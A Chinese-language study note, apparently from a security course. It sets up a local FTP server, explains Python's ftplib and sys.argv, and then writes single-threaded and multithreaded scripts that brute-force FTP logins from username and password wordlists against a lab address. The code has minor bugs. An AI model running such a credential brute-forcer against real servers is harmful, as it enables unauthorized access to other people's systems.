本地搭建FTP服务器

参考链接:https://jingyan.baidu.com/article/3c48dd3490c310e10be358ea.html

软件下载

QuickEasyFTPServer-v4.0.0.zip

安装教程

  • 点击运行QuickEasy FTPServer.exe文件,文件为绿色版程序,不但体积小,而且也不需要安装,启动后如下图:image.png
  • 勾选匿名账户建立匿名账号,如果不需要匿名,输入账户名即可。点击下一步。入选图:image.png
  • 在D盘建立一个FTPRoot文件夹作为FTP服务器根目录,如下图:image.png
  • 在弹出的对话框中选择用户权限,点击完成按钮,如下图:image.png
  • 完成后FTP服务器快速启动,启动后点左上角绿色按钮启动服务器,如下图:image.png
  • 可以看到FTP服务器地址为:192.168.1.100,记住IP地值,在浏览器地址栏输入FTP://192.168.1.100,即可访问资源.如下图:image.png

ftblib模块学习

参考链接:https://www.cnblogs.com/xiao-apple36/p/9675185.html

  1. ftp登陆连接
  2. from ftplib import FTP #加载ftp模块
  3. ftp=FTP() #设置变量
  4. ftp.set_debuglevel(2) #打开调试级别2,显示详细信息
  5. ftp.connect("IP","port") #连接的ftp sever和端口
  6. ftp.login("user","password") #连接的用户名,密码
  7. print ftp.getwelcome() #打印出欢迎信息
  8. ftp.cmd("xxx/xxx") #进入远程目录
  9. bufsize=1024 #设置的缓冲区大小
  10. filename="filename.txt" #需要下载的文件
  11. file_handle=open(filename,"wb").write #以写模式在本地打开文件
  12. ftp.retrbinaly("RETR filename.txt",file_handle,bufsize) #接收服务器上文件并写入本地文件
  13. ftp.set_debuglevel(0) #关闭调试模式
  14. ftp.quit() #退出ftp
  15. ftp相关命令操作
  16. ftp.cwd(pathname) #设置FTP当前操作的路径
  17. ftp.dir() #显示目录下所有目录信息
  18. ftp.nlst() #获取目录下的文件
  19. ftp.mkd(pathname) #新建远程目录
  20. ftp.pwd() #返回当前所在位置
  21. ftp.rmd(dirname) #删除远程目录
  22. ftp.delete(filename) #删除远程文件
  23. ftp.rename(fromname, toname)#将fromname修改名称为toname
  24. ftp.storbinaly("STOR filename.txt",file_handel,bufsize) #上传目标文件
  25. ftp.retrbinary("RETR filename.txt",file_handel,bufsize) #下载FTP文件

FTP服务器简单登录

  1. import ftplib
  2. ftp = ftplib.FTP()
  3. ftp.connect("192.168.1.102",21)
  4. ftp.login("admin","root")
  5. list = ftp.retrlines("list")
  6. print(list)

image.png

实现用户自定义输入登录FTP

  1. if __name__ == '__main__':
  2. IP = sys.argv[0]
  3. PORT = sys.argv[1]
  4. USERFILE = sys.argv[2]
  5. PASSFILE = sys.argv[3]

sys.argv[]的用法简明解释

参考链接:https://www.cnblogs.com/aland-1415/p/6613449.html

sys.argv[]说白了就是一个从程序外部获取参数的桥梁,这个“外部”很关键,所以那些试图从代码来说明它作用的解释一直没看明白。因为我们从外部取得的参数可以是多个,所以获得的是一个列表(list),也就是说sys.argv其实可以看作是一个列表,所以才能用[]提取其中的元素。其第一个元素是程序本身,随后才依次是外部给予的参数。
下面我们通过一个极简单的test.py程序的运行结果来说明它的用法。
1 #test.py 2 3 import sys 4 a=sys.argv[0] 5 print(a)
将test.py保存在c盘的根目录下。
在程序中找到 ‘运行’->点击->输入”cmd”->回车键 进入控制台命令窗口(如下图),先输入cd c:\ (作用是将命令路径改到c盘根目录),然后输入test.py运行我们刚刚写的程序:
image.png
得到的结果是C:\test.py,这就是0指代码(即此.py程序)本身的意思。
然后我们将代码中0改为1 :
a=sys.argv[1]
保存后,再从控制台窗口运行,这次我们加上一个参数,输入:test.py what
image.png
得到的结果就是我们输入的参数what,看到这里你是不是开始明白了呢。
那我们再把代码修改一下:
a=sys.argv[2:]
保存后,再从控制台窗台运行程序,这次多加几个参数,以空格隔开:
test.py a b c d e f
image.png
得到的结果为[‘b’, ’c’, ’d’, ’e’, ’f’]

应该大彻大悟了吧。Sys.argv[ ]其实就是一个列表,里边的项为用户输入的参数,关键就是要明白这参数是从程序外部输入的,而非代码本身的什么地方,要想看到它的效果就应该将程序保存了,从外部来运行程序并给出参数。

代码运行报错

image.png

解决办法参考链接:https://blog.csdn.net/weixin_44635296/article/details/104117978

简单来说就是把要填写的参数写在后面,如图

image.png

实现跑字典爆破FTP服务器

  1. def ftp_login ():
  2. ftp = ftplib.FTP()
  3. ftp.connect("192.168.1.102", 21)
  4. for user in open("admin.txt"):
  5. for passwd in open("pass.txt"):
  6. user = user.replace('\n','')
  7. passwd = passwd.replace('\n','')
  8. try:
  9. ftp.login(user,passwd)
  10. print("成功登录的账号密码:" + user + "|" + passwd)
  11. print("FTP服务器文件目录如下:"+"\n")
  12. list = ftp.retrlines("list")
  13. except ftplib.all_errors:
  14. print(user + "|" + passwd)
  15. print("登录失败\n")
  16. pass
  17. if __name__ == '__main__':
  18. ftp_login()

image.png

为了实现更高效率跑这个字典,我们需要使用多线程


import ftplib
import sys
import threading
import queue
import time

def ftp_login ():
    while not q.empty():
        dict = q.get()
        dict = dict.split('|')
        user = dict[0]
        passwd = dict[1]
        ftp = ftplib.FTP()
        ftp.connect('192.168.1.102',21)
        try:
            ftp.login(user,passwd)
            print("成功登录的账号密码:" + user + "|" + passwd)

            print("FTP服务器文件目录如下:"+"\n")
            list = ftp.retrlines("list")

        except ftplib.all_errors:
            print(user + "|" + passwd)
            print("登录失败\n")
            pass

def threadings_ftp ():
    start_time = time.time()

    for i in range(10):    //rang(num),num代表线程数
        t = threading.Thread(target=ftp_login)
        t.start()
        t.join()

    end_time = time.time()

    fin = end_time-start_time
    print(fin)
if __name__ == '__main__':

    q = queue.Queue()
    for user in open("admin.txt"):
        for passwd in open("pass.txt"):
            user = user.replace('\n', '')
            passwd = passwd.replace('\n', '')
            zidian = user+'|'+passwd
            q.put(zidian)


    ftp_login()
    threadings_ftp()

线程数10

image.png

线程数1

image.png

按道理说相差越大,速度越快,结果这里线程数1 更快,可能是这个ftp服务器的问题

上面的代码是写死的,我们接下来实现用户自定义

其实下面老师还做了一个实验,但是我不打算做笔记,只是没什么好记录的,就利用Python写代码而言,和第二节相似,故不作